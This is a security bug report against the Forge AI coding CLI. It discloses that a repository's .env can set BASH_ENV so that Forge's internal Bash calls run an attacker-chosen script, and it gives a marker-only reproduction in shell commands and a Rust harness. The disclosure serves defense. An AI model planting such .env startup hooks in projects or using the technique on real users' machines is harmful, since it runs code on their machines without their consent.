[Security] Project `.env` can execute arbitrary code through Bash startup hooks
Bug Description
Bug Description
Forge automatically loads .env files while walking upward from the process current working directory. The loaded variables remain in Forge's environment and are inherited by every shell subprocess. A repository-controlled .env can therefore set BASH_ENV to a repository-controlled script. When Forge later runs a normal internal Bash command, non-interactive Bash sources that script before executing the requested command.
This gives arbitrary code execution with the Forge user's privileges. It does not require the model to select a shell tool, and the current shell-tool permission check does not cover this path.
The issue is reproducible on the latest main revision tested: 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 (0.1.0, 2026-08-08). The reproduction uses only a marker file and does not read credentials or make a network request.
Steps to Reproduce
Steps to Reproduce
The following is the end-to-end CLI trigger path. A configured provider is needed to complete the chat request, but the marker-only Rust harness below dynamically verifies the same .env loading and shell-spawn source-to-sink path without contacting an AI provider. Use a disposable directory and ensure BASH_ENV is not already set in the parent environment.
Build Forge from the affected revision:
git clone https://github.com/tailcallhq/forgecode.git cd forgecode git checkout 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 cargo build --releaseCreate a disposable repository containing a malicious
.envand a marker-only startup script:POC_DIR="$(mktemp -d)" cat > "$POC_DIR/startup.sh" <<EOF printf 'pwned\n' > "$POC_DIR/marker.txt" EOF printf 'BASH_ENV=%s/startup.sh\n' "$POC_DIR" > "$POC_DIR/.env" git -C "$POC_DIR" initRun the trusted Forge binary with the process current directory set to the disposable repository. With a configured provider, Forge enters the normal chat flow and performs internal shell commands during instruction discovery:
cd "$POC_DIR" env -u BASH_ENV SHELL=/bin/bash /path/to/forgecode/target/release/forge --prompt "hello"Check the marker:
cat "$POC_DIR/marker.txt"The output is:
pwned
The source-to-sink behavior was dynamically validated without an AI provider by calling Forge's public configuration reader and command executor with this marker-only Rust harness. From the Forge checkout, add poc/env-repro to the root workspace member list and create poc/env-repro/Cargo.toml with:
[package]
name = "forgecode_env_repro"
version = "0.1.0"
edition = "2024"
[dependencies]
anyhow = "1"
tempfile = "3"
tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
forge_config = { path = "../../crates/forge_config" }
forge_app = { path = "../../crates/forge_app" }
forge_domain = { path = "../../crates/forge_domain" }
forge_infra = { path = "../../crates/forge_infra" }Save the following as poc/env-repro/src/main.rs, then run env -u BASH_ENV cargo run --manifest-path poc/env-repro/Cargo.toml from the Forge checkout:
use anyhow::Context;
use forge_app::CommandInfra;
use forge_config::ForgeConfig;
use forge_domain::Environment;
use forge_infra::{ForgeCommandExecutorService, StdConsoleWriter};
use std::path::PathBuf;
use std::sync::Arc;
use tempfile::TempDir;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let temp = TempDir::new()?;
let marker = temp.path().join("marker.txt");
let startup = temp.path().join("startup.sh");
std::fs::write(&startup, format!("printf 'pwned\n' > {}\n", marker.display()))?;
std::fs::write(temp.path().join(".env"), format!("BASH_ENV={}\n", startup.display()))?;
std::env::set_current_dir(temp.path())?;
let _config = ForgeConfig::read().context("config read")?;
let env = Environment {
os: std::env::consts::OS.to_string(),
cwd: temp.path().to_path_buf(),
home: None,
shell: "/bin/bash".to_string(),
base_path: temp.path().to_path_buf(),
};
let executor = ForgeCommandExecutorService::new(env, Arc::new(StdConsoleWriter::default()));
executor
.execute_command("echo ok".to_string(), PathBuf::from(temp.path()), true, None)
.await?;
assert_eq!(std::fs::read_to_string(marker)?.trim(), "pwned");
Ok(())
}The harness prints or asserts marker_content=pwned. It is run from a temporary directory and does not execute any repository-provided script. I did not use real credentials or run an external network request.
Expected Behavior
Expected Behavior
Project-controlled .env values should not be able to configure interpreter startup behavior for Forge's internal subprocesses without an explicit workspace trust decision. Running Forge in a repository should not execute arbitrary code merely because the repository contains a .env file.
If project .env support is intentional, shell startup variables such as BASH_ENV and ENV should be removed or separately approved before Forge spawns an internal shell. The approval should apply to the final effective environment used for the subprocess.
Actual Behavior
Actual Behavior
ForgeConfig::read() loads .env from the process current directory before the CLI applies the optional -C/--directory value. The resulting BASH_ENV value is inherited by ForgeCommandExecutorService, which starts /bin/bash -c <command> without removing it. Bash sources the referenced script before running the fixed internal command.
In the normal chat flow, Forge invokes shell commands such as git rev-parse --show-toplevel while discovering project instructions. The marker script therefore executes after starting a normal chat and before any model-selected shell tool is involved.
Relevant source locations in the affected revision:
crates/forge_config/src/reader.rs:10-30: automatically loads.envfiles from the process current directory upward.crates/forge_main/src/main.rs:105-108: reads configuration before resolving-C/--directory.crates/forge_infra/src/executor.rs:29-38,57-70,103-106: starts the configured shell with inherited environment using-c.crates/forge_services/src/instructions.rs:49-57: runsgit rev-parse --show-toplevelthrough that executor during instruction discovery.crates/forge_app/src/app.rs:73-80: invokes instruction discovery as part of a normal chat request.
Forge Version
0.1.0, built from source at 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 (origin/main, 2026-08-08).
Operating System & Version
No response
AI Provider
None
Model
No response
Installation Method
Built from source
Configuration
Source: tailcallhq/forgecode